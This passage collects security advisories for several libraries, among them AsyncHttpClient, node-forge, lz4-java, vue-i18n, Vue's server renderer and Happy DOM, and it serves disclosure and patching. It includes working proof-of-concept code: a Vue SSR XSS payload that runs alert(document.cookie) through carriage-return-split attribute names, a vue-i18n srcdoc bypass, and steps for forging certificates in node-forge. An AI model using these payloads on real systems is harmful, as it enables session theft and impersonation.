Netty has deprecated it in favour of a constructor that takes a limit. RFC 6455 Section 10.4 asks an implementation to limit the size of a message after reassembly, and under RFC 7692 Section 6.2 the message delivered to the application is the decompressed payload. This is a different path from the HTTP response decompression fixed under CVE-2026-85721, which never reached the WebSocket pipeline. ### Attribution AI-assisted tools were used to support discovery and analysis.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.0.0 until 3.0.14, connection-pool partitioning still omits identity-defining fields for Kerberos, SPNEGO, NTLM, and authenticated proxy connections. Logins without a configured principal, proxy realms, identities sharing a user name, and SOCKS or CONNECT proxy logins can reuse a socket authenticated as a different identity. A later request is then executed under the first identity and can expose that identity's data or authority to another caller. In the affected execution path, SpnegoEngine, NTLM, Kerberos, SPNEGO, SOCKS, and CONNECT control or expose the vulnerable behavior. This issue is fixed in version 3.0.14.
### Summary node-forge parses certificate extensions with the deprecated OIDs `2.5.29.10` and `2.5.29.13` as `basicConstraints`, and `forge.pki.verifyCertificateChain()` used the first extension with that name. A certificate with a forged deprecated-OID extension (`cA` TRUE) before its genuine `basicConstraints` extension (`cA` FALSE) is accepted as a CA certificate, and the same technique can hide a `pathLenConstraint`. Fixed in node-forge 1.4.1. ### Details `lib/oids.js` maps the deprecated certificate extension OIDs `2.5.29.10` and `2.5.29.13` to the name `basicConstraints`, the same name as the RFC 5280 extension `2.5.29.19`. `certificateExtensionFromAsn1()` in `lib/x509.js` decodes extensions by name, so these extensions are decoded into the same `cA` and `pathLenConstraint` fields. `cert.getExtension()` returns the first extension with a matching name, and `pki.verifyCertificateChain()` looked up `basicConstraints` by name. As a result, a certificate that contains a `2.5.29.10` (or `2.5.29.13`) extension with `cA` TRUE before its genuine `basicConstraints` extension with `cA` FALSE is accepted as a CA certificate. The same technique can hide a CA certificate's `pathLenConstraint`. A deprecated-OID extension on its own also satisfies the check added for GHSA-2328-f5f3-gj25 (CVE-2026-33896) that `basicConstraints` is present. RFC 5280 section 4.2.1.9 defines basicConstraints only as `id-ce 19` (`2.5.29.19`), and the path validation checks in section 6.1.4 apply to that extension. The fix makes chain verification look up basicConstraints by OID (`cert.getExtension({id: '2.5.29.19'})`). This covers both the `cA` and the `pathLenConstraint` checks. Certificate parsing, the OID table and `cert.getExtension('basicConstraints')` are unchanged. #### Patches Fixed in node-forge 1.4.1. Chain verification now uses only the `basicConstraints` extension with OID `2.5.29.19`. #### Workarounds None in node-forge itself. Applications that pass an `options.verify` callback to `pki.verifyCertificateChain()` (or `verify` to `forge.tls.createConnection()`) can reject chains in which a non-leaf certificate has no `2.5.29.19` extension with `cA` TRUE, for example with `cert.getExtension({id: '2.5.29.19'})`. CA operators can avoid copying unrecognized extensions from certificate requests. #### Credits WorkOS Security Team· [security@workos.com](mailto:security@workos.com) (@nickcollisson-workos) ### Proof of concept Have a trusted CA issue an end-entity certificate whose extensions are, in this order: a `2.5.29.10` (or `2.5.29.13`) extension with the value of a basicConstraints `cA` TRUE (DER `30 03 01 01 FF`), then the CA's own `2.5.29.19` basicConstraints with `cA` FALSE, and no `keyUsage`. For example, `openssl x509 -req -copy_extensions copy` with an extensions file that sets `basicConstraints = CA:FALSE` copies the extension from the CSR and produces this order. Use that certificate's key to sign a leaf certificate for any name. On node-forge <= 1.4.0, `forge.pki.verifyCertificateChain(caStore, [leaf, eeCert])` accepts the chain, and `eeCert.getExtension('basicConstraints')` returns the `2.5.29.10` extension with `cA` true. The same certificate without the deprecated-OID extension is rejected ("Certificate basicConstraints indicates the certificate is not a CA."). A certificate with only the deprecated-OID extension is also accepted. The fix adds regression tests in `tests/unit/x509.js` and the reporter's PoC as `tests/pocs/ghsa-5x38-2vff-x55p.js`. ### Impact Applications that verify certificate chains with `forge.pki.verifyCertificateChain()`, including TLS peer certificate verification in `forge.tls`, are affected. Exploitation requires a CA trusted by the application to issue a certificate that contains the attacker-supplied deprecated-OID extension, typically a CA that copies extensions from certificate signing requests. For example, `openssl x509 -req -copy_extensions copy` (or `copyall`) with an extensions file that sets `basicConstraints = CA:FALSE` and no `keyUsage` produces such a certificate. If the issuing CA adds a `keyUsage` extension without `keyCertSign`, node-forge rejects the chain. The holder of such a certificate can then issue certificates for any name that `pki.verifyCertificateChain()` accepts. In forge's own TLS stack this allows impersonating servers (or clients, where client certificates are verified) and intercepting traffic.
### Impact The fix for GHSA-vvp4-63h8-v5pm in 3.0.13 folded the authenticated principal into the HTTP/1.1 connection pool key, so that a connection one principal authenticated with NTLM, Kerberos or SPNEGO is not handed to another. It left three cases out. In each, a socket that one identity authenticated can still be drawn by a request belonging to a different identity, and the server serves that request as the first one. 1. **A login with no configured principal.** Kerberos and SPNEGO against the ticket cache or the default JAAS login, which is the usual deployment, leave the realm's principal unset, and the key stayed unscoped in that case. A request to the same host that carries no credentials at all draws the authenticated socket and is served as the service identity. 2. **The proxy realm.** Only the origin realm went into the key. A connection authenticated to a proxy with NTLM or Negotiate is handed to requests of another proxy identity, or of none, and the proxy acts for them as the first identity. 3. **Identities that share a user name.** Only the principal string went into the key, so `CORP\alice` and `OTHER\alice` shared connections, as did two realms differing only in password, login context, keytab or service principal. The Kerberos login cache in `SpnegoEngine` had the same collision, and it was an unsynchronised map, so concurrent first use could hand one caller's login to another. ### Who is Impacted Applications that authenticate with NTLM, Kerberos or SPNEGO, to an origin or to a proxy, and send requests under different identities, or both with and without credentials, to the same host through one client. The sharpest case is a service that calls an internal host under its own Kerberos identity and also fetches user-supplied URLs: a URL on that host is fetched as the service. Basic and Digest are not affected. ### Affected versions * 3.x: 3.0.13 * 2.x: 2.16.1 Earlier versions are covered by GHSA-vvp4-63h8-v5pm. ### Patches Fixed in 3.0.14. The pool key now carries a digest of every field of the realm that decides which identity the connection ends up as, for the origin and the proxy separately, and a realm that authenticates the connection is scoped whether or not it names a principal. `SpnegoEngine` caches logins in a concurrent map keyed by every other field of that identity, and replaces a cached login when the password changes. The 2.x line is end of life and will not receive a fix. Upgrade to 3.0.14. ### Workarounds Use a separate `AsyncHttpClient` instance per identity, and do not share one between authenticated and unauthenticated requests to a host that uses NTLM or Negotiate. Disabling connection pooling also removes the reuse. Incomplete fix of GHSA-vvp4-63h8-v5pm.
yawkat LZ4 Java provides LZ4 compression for Java. From 1.7.0 until 1.11.4, net.jpountz.util.Native.load() uses File.createTempFile to create an exclusive temporary .lck file but derives the native-library path by removing the suffix, then FileOutputStream opens that predictable path without exclusive creation, allowing another local user with access to the same shared temporary directory to create or replace the library file before System.load() uses it. Successful exploitation depends on shared-directory permissions, host protections, and winning the race, and can execute native code as the victim; hardened systems may instead cause library loading to fail and fall back to Java implementations. Configurations using a system library, a private java.io.tmpdir, or Java-only implementations are not affected. This issue is fixed in version 1.11.4.
### Summary When no system-installed `liblz4-java` is found, `net.jpountz.util.Native.load()` extracts the bundled native library to `java.io.tmpdir` and loads it with `System.load`. The path of the extracted library can be predicted before it is created, and the library file is opened without exclusive creation. Another local user who can write to the same temporary directory can therefore create the file first and control the code that is loaded. ### Details ```java tempLibLock = File.createTempFile("liblz4-java-", "." + os().libExtension + ".lck"); tempLib = new File(tempLibLock.getAbsolutePath().replaceFirst(".lck$", "")); // copy to tempLib try (FileOutputStream out = new FileOutputStream(tempLib)) { ... } ... System.load(tempLib.getAbsolutePath()); ``` Only the `.lck` file is created safely, with a random name and exclusive creation. The library path is the `.lck` name without the `.lck` suffix, and nothing reserves it. `new FileOutputStream(tempLib)` opens it with `O_CREAT|O_TRUNC` and follows symlinks. In a shared, world-writable temporary directory, another user can watch for the `.lck` file and create the corresponding library file before it is opened. If they win that race, they own the file. The victim then writes into the attacker-owned file, and the attacker can overwrite it again before `System.load`. Whether this can be exploited depends on the host: - With `fs.protected_regular = 0`, the attacker can pre-create a world-writable file, and their code is then loaded into the victim's JVM. - With `fs.protected_regular >= 1` (the default on many systemd-based distributions), the victim's open fails. The library then fails to load and the library falls back to the Java implementations, so the attacker can only cause a denial of service. - A symlink variant is blocked by `fs.protected_symlinks = 1`. - Temporary directories without the sticky bit, or shared across users in containers, are exploitable whatever these settings are. This behaviour was introduced upstream in commit c3ddae5 (lz4-java 1.7.0), which swapped which of the two files is created with `createTempFile`. ### Impact A local user who can write to the same temporary directory as a victim process that uses the bundled JNI library may be able to execute code as the victim. Exploitation requires a shared temporary directory, host settings that permit it, and winning a race. The issue does not apply if `liblz4-java` is found on `java.library.path`, if `java.io.tmpdir` is private to the user (for example systemd `PrivateTmp`, or a per-user temporary directory), or if only the Java implementations are used. ### Patch Fixed in lz4-java 1.11.4. The native library is now extracted directly into a file created by `File.createTempFile`, which has a random name and is created exclusively, so a file or symlink planted in advance cannot be reused. The `.lck` lock files are no longer used. Instead, the startup cleanup removes stale `liblz4-java-*` temporary files (including `.lck` files left by older versions) only once they are more than one hour old. For older versions, the workaround is to set `java.io.tmpdir` to a directory writable only by the application user, or install `liblz4-java` on `java.library.path`.
Vue I18n is the internationalization plugin for Vue.js. From 11.1.10 until 11.4.14 and from 12.0.0-alpha.4 until 12.0.0-alpha.5, sanitizeTranslatedHtml() escapes markup and event-handler text inside an iframe srcdoc value but leaves the srcdoc attribute active. Browsers decode the character references and parse the value as a same-origin nested HTML document, allowing attacker-controlled parameters or translation content placed in srcdoc to execute script when applications enable escapeParameter and render translations as HTML through v-html. Versions 9.14.5 and 10.0.8 are also affected and are no longer supported, while i18n-t rendering is not affected. This issue is fixed in versions 11.4.14 and 12.0.0-alpha.5.
### Summary When `escapeParameter` is enabled (`escapeParameterHtml` in the Legacy API), Vue I18n passes the translated string through `sanitizeTranslatedHtml()`. The sanitizer escapes `<` and `>` in attribute values and neutralizes event handler attributes such as `onerror`, but it does not handle the `srcdoc` attribute of `<iframe>`. The value of `srcdoc` is an HTML document: the browser decodes the character references in it and parses the result as a nested document in the same origin. The escaping and the neutralization done by the sanitizer are both character references, so they are undone inside `srcdoc`. This bypasses the fix for CVE-2025-53892 (GHSA-x8qp-wqqm-57ph). ### Details `sanitizeTranslatedHtml()` ([`packages/shared/src/sanitize.ts` in v11.4.13](https://github.com/intlify/vue-i18n/blob/v11.4.13/packages/shared/src/sanitize.ts#L126-L162)) works on the final translated string: 1. It escapes `<`, `>`, `"` and `'` inside quoted attribute values. 2. It rewrites the `on` of event handler attributes to `on`. 3. It replaces `javascript:` URLs in `href`, `src`, `action` and `formaction` with `about:blank`. Inside `srcdoc`, steps 1 and 2 only produce character references, which the browser decodes before parsing the value as a document. Markup inside `srcdoc` therefore survives the sanitizer, with escaping or without it. This can be reached in three ways: - **A parameter inside `srcdoc`.** With a message such as `<iframe srcdoc="{content}"></iframe>`, `escapeParameter` escapes `content` into character references, and the browser decodes them again. - **Markup in a message.** A message that contains an `<iframe srcdoc="...">` keeps it after sanitizing. The documentation asks not to use HTML messages with content from users, but it also says that the sanitizer neutralizes event handlers in the final HTML. - **Together with GHSA-8rc2-428q-7ww3.** When a call passes a list and named values, the named values are not escaped. An `<iframe srcdoc="...">` in a named value then reaches the sanitizer as markup, even with an ordinary message such as `{0} {name}`. ### PoC ```js import { createI18n } from 'vue-i18n' const i18n = createI18n({ legacy: false, locale: 'en', escapeParameter: true, messages: { en: { message: '<iframe srcdoc="<b>x</b>"></iframe>' } } }) console.log(i18n.global.t('message')) // v11.4.13: <iframe srcdoc="<b>x</b>"></iframe> ``` The browser decodes the value and renders `<b>x</b>` as a separate document inside the `<iframe>`, in the same origin as the page. Any markup in that position is parsed the same way. ### Impact Applications are affected when they enable `escapeParameter`, render translations as HTML (for example with `v-html`), and one of the following applies: - an untrusted value is passed as a parameter that the message places inside `srcdoc`, - message content is not fully trusted (for example crowdsourced or stored translations), or - untrusted named values are passed in the same call as a list (GHSA-8rc2-428q-7ww3). An attacker can then run script in the origin of the application (DOM-based XSS), despite the sanitizer. Rendering through `<i18n-t>` is not affected, since it does not render translations as HTML. ### Patches Fixed in 11.4.14 and 12.0.0-alpha.5. The sanitizer now neutralizes the `srcdoc` attribute itself, in the same way as event handler attributes. v9 and v10 are no longer supported and will not be fixed. Please migrate to v11. ### Workarounds - Do not render translations that can contain untrusted content with `v-html`. Use component interpolation (`<i18n-t>`) instead. - Do not put `srcdoc` in translation messages, and do not pass values into it. ### References - [CWE-79](https://cwe.mitre.org/data/definitions/79.html), [CWE-116](https://cwe.mitre.org/data/definitions/116.html) - [GHSA-x8qp-wqqm-57ph](https://github.com/intlify/vue-i18n/security/advisories/GHSA-x8qp-wqqm-57ph) (CVE-2025-53892): the fix that added `sanitizeTranslatedHtml()` - [GHSA-8rc2-428q-7ww3](https://github.com/intlify/vue-i18n/security/advisories/GHSA-8rc2-428q-7ww3): named values are not escaped when a list is also passed - [HTML Standard: the `srcdoc` attribute](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#attr-iframe-srcdoc)
## Description `@vue/server-renderer` was investigated specifically because it's the one place in Vue where template rendering output becomes a real HTTP response body -- a genuine server-side trust boundary, unlike client-side rendering which only ever affects the same browser session that's already running the app's own JS. `ssrRenderAttrs()` (in `packages/server-renderer/src/helpers/ssrRenderAttrs.ts`) is what compiled SSR output calls for something like `<div v-bind="userObject">`. It loops over the object's own keys and, for each one, renders it as an HTML attribute: ```ts export function ssrRenderDynamicAttr( key: string, value: unknown, tag?: string, ): string { if (!isRenderableAttrValue(value)) { return `` } const attrKey = ... if (isBooleanAttr(attrKey) || ...) { return includeBooleanAttr(value) ? ` ${attrKey}` : `` } else if (isSSRSafeAttrName(attrKey)) { return value === '' ? ` ${attrKey}` : ` ${attrKey}="${escapeHtml(value)}"` } else { console.warn(`[@vue/server-renderer] Skipped rendering unsafe attribute name: ${attrKey}`) return `` } } ``` The value always goes through `escapeHtml()` -- that part is correctly and consistently applied everywhere in this file. But the attribute name (`attrKey`) is only checked against a character blacklist, then spliced directly into the output with no escaping of its own: ```ts // packages/shared/src/domAttrConfig.ts const unsafeAttrCharRE = /[>/="'\u0009\u000a\u000c\u0020]/ export function isSSRSafeAttrName(name: string): boolean { if (attrValidationCache.hasOwnProperty(name)) { return attrValidationCache[name] } const isUnsafe = unsafeAttrCharRE.test(name) if (isUnsafe) { console.error(`unsafe attribute name: ${name}`) } return (attrValidationCache[name] = !isUnsafe) } ``` That blacklist covers: `>`, `/`, `=`, `"`, apostrophe, tab (U+0009), line feed (U+000A), form feed (U+000C), and space (U+0020). It does not cover U+000D -- carriage return (CR, written as `\r` in JS). That matters because of how browsers actually parse HTML. Per the WHATWG HTML parsing spec, the very first step ("preprocessing the input stream") converts every `\r` not followed by `\n` into a `\n` before the tokenizer even starts. So a raw `\r` sitting inside what Vue intends as a single attribute name gets turned into a real line feed by the browser -- and a line feed is one of the characters that terminates an attribute name and starts a new one. The blacklist checks the string as Vue sees it before the browser gets to reinterpret it, and that's exactly the gap. Below is a fresh clone of this repo, confirming the exact commit, the exact vulnerable line, and zero modification to the source: <img width="781" height="336" alt="poc1" src="https://github.com/user-attachments/assets/f4b92955-9a8f-4700-8c51-38ee46912de8" /> ## Prrof The real, unmodified ssrRenderAttrs() from the published @vue/server-renderer@3.5.41 package was tested. The source at HEAD and the upcoming v3.6.0-rc.2 tag were also checked, and the same vulnerable regular expression was present in both; no branch containing a fix was identified. Full script, saved as `poc.mjs` (GitHub doesn't let me attach `.mjs` directly, so the complete file is here): ```js import { ssrRenderAttrs } from '@vue/server-renderer'; import { parseFragment } from 'parse5'; // This is exactly what compiled SSR output calls for `<div v-bind="userObject">` // -- the real, unmodified, published ssrRenderAttrs function. // Full attack chain: the key itself contains ONLY letters, digits, and a // bare \r (carriage return) -- no '>', '/', '=', '"', "'", tab, LF, FF, or // space anywhere, so isSSRSafeAttrName() considers it fully safe. The value // is attacker-controlled JavaScript, delivered as the genuine value of the // LAST \r-separated fragment, which Vue's own template naturally appends via // `="${escapeHtml(value)}"` immediately after the key. const maliciousKey = 'x\rautofocus\ronfocus'; const props = { [maliciousKey]: 'alert(document.cookie)', }; const rawAttrString = ssrRenderAttrs(props); console.log('=== Raw string produced by the real ssrRenderAttrs() ==='); console.log(JSON.stringify(rawAttrString)); console.log(); console.log('=== As it would literally appear in the HTML response ==='); console.log(rawAttrString.replace(/\r/g, '\\r').replace(/\n/g, '\\n\n')); const fullHtml = `<div${rawAttrString}>content</div>`; console.log(); console.log('=== Full element HTML ==='); console.log(JSON.stringify(fullHtml)); // Now parse this EXACT output with parse5 -- a real, spec-compliant HTML5 // parser (the same parsing algorithm real browsers implement, including the // \r\n -> \n input-preprocessing normalization step). const fragment = parseFragment(fullHtml); const div = fragment.childNodes.find(n => n.tagName === 'div'); console.log(); console.log('=== How a real HTML5 parser (parse5) actually interprets this ==='); console.log('Attributes parsed on the <div>:'); for (const attr of div.attrs) { console.log(` ${JSON.stringify(attr.name)} = ${JSON.stringify(attr.value)}`); } const injectedHandler = div.attrs.find(a => a.name === 'onfocus'); const injectedAutofocus = div.attrs.find(a => a.name === 'autofocus'); console.log(); if (injectedHandler && injectedAutofocus) { console.log('*** CONFIRMED: real, separate "autofocus" and "onfocus" attributes were parsed out ***'); console.log(`*** onfocus value: ${JSON.stringify(injectedHandler.value)} ***`); console.log('*** This element will execute the attacker JS automatically on page load, no user interaction needed. ***'); } else { console.log('Not confirmed.'); } ``` This is a fresh `npm install vue@3.5.41 @vue/server-renderer@3.5.41 parse5` -- the real, currently-published packages, not anything modified: <img width="831" height="531" alt="poc2" src="https://github.com/user-attachments/assets/ea350948-4c93-45a3-b21a-f21dc7f90d29" /> Real, captured output: ``` === Raw string produced by the real ssrRenderAttrs() === " x\rautofocus\ronfocus=\"alert(document.cookie)\"" === Full element HTML === "<div x\rautofocus\ronfocus=\"alert(document.cookie)\">content</div>" === How a real HTML5 parser (parse5) actually interprets this === Attributes parsed on the <div>: "x" = "" "autofocus" = "" "onfocus" = "alert(document.cookie)" *** CONFIRMED: real, separate "autofocus" and "onfocus" attributes were parsed out *** *** onfocus value: "alert(document.cookie)" *** ``` <img width="834" height="897" alt="poc3" src="https://github.com/user-attachments/assets/a92f9c5b-e30d-4968-9ec1-8969628c6437" /> <img width="834" height="896" alt="poc4" src="https://github.com/user-attachments/assets/a397cd3f-8eb3-49af-9604-a31a8bcdb2ea" /> The single attribute name Vue intended to render safely -- `x\rautofocus\ronfocus` -- gets parsed by any real browser as three separate things: an empty `x` attribute, a real `autofocus` boolean attribute, and a real `onfocus="alert(document.cookie)"` event handler. `autofocus` means the element receives focus automatically on page load, which fires the `focus` event immediately, which runs the injected JavaScript -- no click, no hover, no user interaction of any kind required. This behavior was confirmed not to be specific to the payload by first isolating the mechanism with a minimal case (`"foo\rbar"` as the key, no other special characters at all), which parse5 also split into two genuine separate attributes (`foo=""` and `bar="..."`), before building the full self-triggering payload above. To go beyond the parser-level proof, there is a second script that calls the real `ssrRenderAttrs()`, captures its exact return value programmatically, and writes that unmodified byte sequence directly into an HTML file on disk -- no HTML was hand-typed anywhere in this step. Full script, saved as `generate_real_poc.mjs`: ```js import { ssrRenderAttrs } from '@vue/server-renderer'; import fs from 'fs'; // This is the ACTUAL, unmodified ssrRenderAttrs() from the real, installed // @vue/server-renderer@3.5.41 -- nothing hand-typed below this line is HTML, // it is Vue's own function's real return value, captured programmatically. const maliciousKey = 'x\rsrc\ronerror'; const props = { [maliciousKey]: 'alert("REAL Vue SSR output executed this -- cookie: " + document.cookie)' }; const vueOutput = ssrRenderAttrs(props); console.log('=== Vue\'s real ssrRenderAttrs() returned exactly this string ==='); console.log(JSON.stringify(vueOutput)); // Build the full page around Vue's UNMODIFIED output -- the <img ...> tag // content between the angle brackets is copied byte-for-byte from vueOutput, // not retyped. const html = `<!DOCTYPE html> <html> <head><title>Vue SSR PoC -- byte-for-byte Vue output</title></head> <body> <h3>Everything inside the <img> tag below was written to this file programmatically from the real return value of <code>ssrRenderAttrs()</code> in the actual installed <code>@vue/server-renderer@3.5.41</code> package. No HTML was hand-typed for the tag itself.</h3> <p>Exact JSON-escaped string Vue's function returned (see generate_real_poc.mjs, run right before this file was written):</p> <pre id="vue-output-proof">${vueOutput.replace(/</g, '<')}</pre> <hr> <img${vueOutput}> </body> </html> `; const outPath = '/Users/onevilx/Desktop/vue-ssr-xss-poc-real.html'; fs.writeFileSync(outPath, html); console.log('\nWrote', outPath); console.log('Bytes inside the <img...> tag are Vue\'s real, unmodified return value.'); ``` Opening that generated file in a real browser fires the payload automatically: <img width="1666" height="449" alt="poc5" src="https://github.com/user-attachments/assets/251bd830-634f-4cd0-bf79-849bbc07ec9a" /> Dev tools on that same page confirm the browser genuinely parsed three separate attributes (`x`, `src`, `onerror`), matching the on-page proof text that was written directly from Vue's real return value: <img width="1348" height="400" alt="poc6" src="https://github.com/user-attachments/assets/b19d6ff0-ecaa-45f3-9149-9f3d0d4faacb" /> Whether this affects client-side (non-SSR) Vue rendering was also checked: it doesn't, and I want to be upfront about that limit too. Client-side Vue sets dynamic attributes via the DOM `setAttribute()` API, which validates the name against the HTML QName grammar and throws a `DOMException` for characters like `"` (I found an existing, unrelated open issue -- #13944 -- that confirms this behavior). That's a fundamentally different code path with its own validation, and I have not found a way to reach this specific bug through it. This is specifically and only an `@vue/server-renderer` (SSR) issue. ## Impact This requires an application to bind an object whose keys (not just values) come from a source the developer doesn't fully control, via `v-bind="object"` or the equivalent compiled form. I want to be honest about how common that is: binding untrusted values into attributes is the standard, everyday Vue pattern that's already safely handled by `escapeHtml()`. Binding untrusted keys is less universal, but it's a real, documented, supported Vue feature, not a misuse of the framework -- and it's exactly the scenario `isSSRSafeAttrName()` exists to defend, which tells me it's already inside your own threat model for this file, just not fully closed. Realistic examples: a CMS or form-builder feature where field/attribute names are configurable by a less-trusted role and gets rendered via SSR to other users; a component that spreads a validated-elsewhere config object onto a root element; any dynamic-attributes helper that takes a plain object where both keys and values may originate from external data (a database record, an API response, a query string parsed into an object). Where it's reachable, the impact is a complete, self-triggering stored XSS in server-rendered HTML -- the injected `autofocus`/`onfocus` payload runs the moment the page loads, for every visitor who receives that server-rendered output, with no interaction needed. That's a real trust-boundary break in a security-relevant helper whose entire job is making data safe to render. ## Suggested fix Add U+000D (carriage return) to `unsafeAttrCharRE` in `packages/shared/src/domAttrConfig.ts`: ```ts const unsafeAttrCharRE = /[>/="'\u0009\u000a\u000c\u000d\u0020]/ ``` Double-checking against the full WHATWG "ASCII whitespace" definition (tab, LF, FF, CR, space -- all five) rather than enumerating characters one at a time would help, since that's exactly the kind of list that's easy to leave a gap in, which is what happened here.
snappy-java through 1.1.10.8 contains a buffer overflow vulnerability in typed Snappy.uncompress*Array methods that allocate output arrays by dividing uncompressed length by element size but pass the undivided length to native code. Attackers controlling compressed input can cause misaligned length values to write past array bounds with attacker-controlled bytes, corrupting heap memory.
minimatch 10.2.6 contains an attacker-controlled pattern amplification in firstPhasePreProcess() when optimizationLevel >= 2. researcher: Reid Downing (b1nv0id) files: - src/index.ts: 690-770 - src/index.ts: 780-796 issue: input-controlled growth of globParts during first-phase preprocessing, followed by quadratic second-phase processing. the **/../ transformation clones a globparts entry and appends the clone to the same globparts array: ``` parts.splice(gs, 1) const other = parts.slice(0) other[gs] = '**' globParts.push(other) ``` this occurs inside a do...while (didSomething) fixpoint loop, allowing generated entries to be processed again. the expanded globparts array is subsequently processed by secondPhasePreProcess(), which performs pairwise comparisons: ``` for (let i = 0; i < globParts.length - 1; i++) { for (let j = i + 1; j < globParts.length; j++) { this.partsMatch(...) } } ``` an attacker who can supply a glob pattern can therefore cause additional pattern entries to be generated during preprocessing, followed by quadratic pairwise processing, resulting in excessive cpu and memory consumption.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.1.0 until 3.0.14, the default ThreadSafeCookieStore does not retain whether a Set-Cookie response used a secure transport. It accepts Secure cookies received over plaintext and permits insecure cookies to overlay or delete existing Secure cookies with matching scope. An attacker controlling a plaintext same-site response can consequently plant, replace, or remove cookie state later sent to an HTTPS origin, enabling session fixation, CSRF-token replacement, or loss of security-relevant state. This issue is fixed in version 3.0.14.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.1.0 until 3.0.14, the enabled-by-default cookie store replaces a Cookie header explicitly supplied through setHeader or addHeader whenever the store contributes any cookie for the origin. In a shared client, stored cookies originating from one user can replace a different user's request cookie, causing the request to execute under the wrong session. This bypasses the earlier CVE-2024-53990 remediation, which covered cookies supplied through addCookie but not a directly supplied header. This issue is fixed in version 3.0.14.
### Impact With the cookie store enabled, which is the default, a `Cookie` header that the caller sets on a request with `setHeader` or `addHeader` is thrown away whenever the store holds any cookie for the request's origin: the request's cookie list is written into that header afterwards and replaces it. CVE-2024-53990 fixed the same problem for cookies added with `addCookie`, but that fix works on the cookie list, and a header set directly never reaches it. This is not limited to a cookie of the same name. A store cookie of any name erases the caller's header, so a request meant to carry the caller's session cookie goes out with only the store's cookies, and where the store has a cookie of the caller's name, the store's value is sent instead. It matters most where one client acts for several users. An application that puts each user's session on the request itself, and shares one client and its default cookie store, sends one user's request with a session cookie the store took from a response to another user. The request runs as that other user, so a user of such an application can have their request served under someone else's session, or someone else's under theirs. ### Affected versions * 3.x: up to and including 3.0.13 * 2.x: from 2.1.0 up to and including 2.16.1 ### Patches Fixed in 3.0.14. The store's cookies are added to a caller's `Cookie` header instead of replacing it, and where both name the same cookie the caller's is kept. The caller's text is kept as written, and several `Cookie` headers are folded into one, as RFC 6265 Section 5.4 requires. The 2.x line is end of life and will not receive a fix. Upgrade to 3.0.14. ### Workarounds Where requests carry per-user cookies, use a separate client per user, or disable the cookie store with `setCookieStore(null)`. ### References Incomplete fix of CVE-2024-53990 (GHSA-mfj5-cf8g-g2fv). Reported by @1diot9. ### Attribution AI-assisted tools were used to support discovery and analysis.
### Impact The cookie store ignores the scheme a `Set-Cookie` arrived on. draft-ietf-httpbis-rfc6265bis-22 (approved to obsolete RFC 6265, in the RFC Editor queue) Section 5.7 requires a user agent to ignore a cookie with the `Secure` attribute unless it arrived over a secure connection (step 13), and to ignore a non-Secure cookie from an insecure connection when it would overlay a Secure cookie the store already holds (step 16). Neither rule is implemented. The only `Secure` handling is on retrieval, where a Secure cookie is not sent over plaintext. So anyone who can answer a plaintext request to a site can set, replace or delete the site's `Secure` cookies, and the next HTTPS request carries the attacker's value back inside TLS: ``` http://example.com -> Set-Cookie: SID=attacker-value; Secure; Path=/ https://example.com -> Cookie: SID=attacker-value ``` This does not need an attacker on the network path. A plaintext host under the same site reaches the HTTPS one by setting a domain cookie: ``` http://insecure.example.com -> Set-Cookie: SID=attacker-value; Secure; Domain=example.com; Path=/ https://bank.example.com -> Cookie: SID=attacker-value ``` A plaintext `Set-Cookie` of the same name, domain and path overwrites a Secure cookie, and one with `Max-Age=0` deletes it. Depending on what the application does with the cookie, this is session fixation into the HTTPS session, an overwritten CSRF token, or the removal of a cookie the site relies on. Unlike GHSA-qjr7-w8pj-pmv9, which can only add a cookie, this replaces or deletes one, hence Integrity: High; the harm lands on the HTTPS site, hence Scope: Changed. ### Affected versions * 3.x: up to and including 3.0.13 * 2.x: from 2.1.0, when the cookie store was introduced, up to and including 2.16.1 ### Patches Fixed in 3.0.14 on the 3.x line. A cookie with the `Secure` attribute is ignored unless the request was secure, and a non-Secure cookie from a request that did not use TLS is ignored when it would overlay a Secure cookie of the same name whose path its own path falls under. A plaintext response can therefore no longer plant, overwrite or delete a `Secure` cookie. When several cookies of one name match a request, the client sends only the first, so the order in which the store returns them decides which one is used. That order is now: on a secure request, cookies received in a secure context (HTTPS, WSS or plaintext loopback) first; then the request host's own cookies before cookies set for a parent domain; then, within one host, longer paths first. A plaintext attacker cannot outrank a cookie the site set over HTTPS by ordering or padding its own cookies, or by setting one before the site sets its own. Plaintext requests to `localhost`, or to an address literal that is a loopback address, count as secure, so a development server that sets `Secure` cookies over `http://localhost` gets them back. This is limited to the cookies such a server set itself: a `Secure` cookie that arrived over HTTPS is never sent over plaintext, loopback included, and a plaintext loopback port cannot overlay it. Numeric spellings that are not address literals, such as `127.0.0.256`, and names under `localhost` are not treated as loopback, because the client resolves them as names. The 2.x line is end of life and will not receive a fix. Upgrade to 3.0.14. ### Workarounds Do not share one `CookieStore` between plaintext and HTTPS origins that are not mutually trusted, including hosts under the same site. Disabling the cookie store also avoids it. ### Details `ThreadSafeCookieStore.add(Uri, Cookie)` reduces the request to its host and path before storing, so the scheme never reaches the code that decides whether to keep a cookie. `get(Uri)` does read it, but only to leave `Secure` cookies out of plaintext requests. A narrower form survives the two storage rules on their own. The step 16 path test is one-way by design, so a plaintext `SID` for `Path=/` is legitimately stored beside a Secure `SID` for `Path=/account`, and both match a request under `/account`. The store returned matching cookies in hash order, and the client keeps only the first cookie of each name when it builds the request (`RequestBuilderBase.addCookieIfUnset`), so an attacker could decide which one was sent, for example by padding one plaintext response with filler cookies. The ordering described above closes it. The fix does not stop an HTTPS host under the same site from setting a domain cookie for a name the request host never sets itself. Only a `__Host-` cookie name prefix prevents that, and the client does not enforce cookie name prefixes. ### Attribution AI-assisted tools were used to support discovery and analysis.
A flaw was discovered in Elasticsearch, where a large recursion using the innerForbidCircularReferences function of the PatternBank class could cause the Elasticsearch node to crash. A successful attack requires a malicious user to have read_pipeline Elasticsearch cluster privilege assigned to them.
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6.
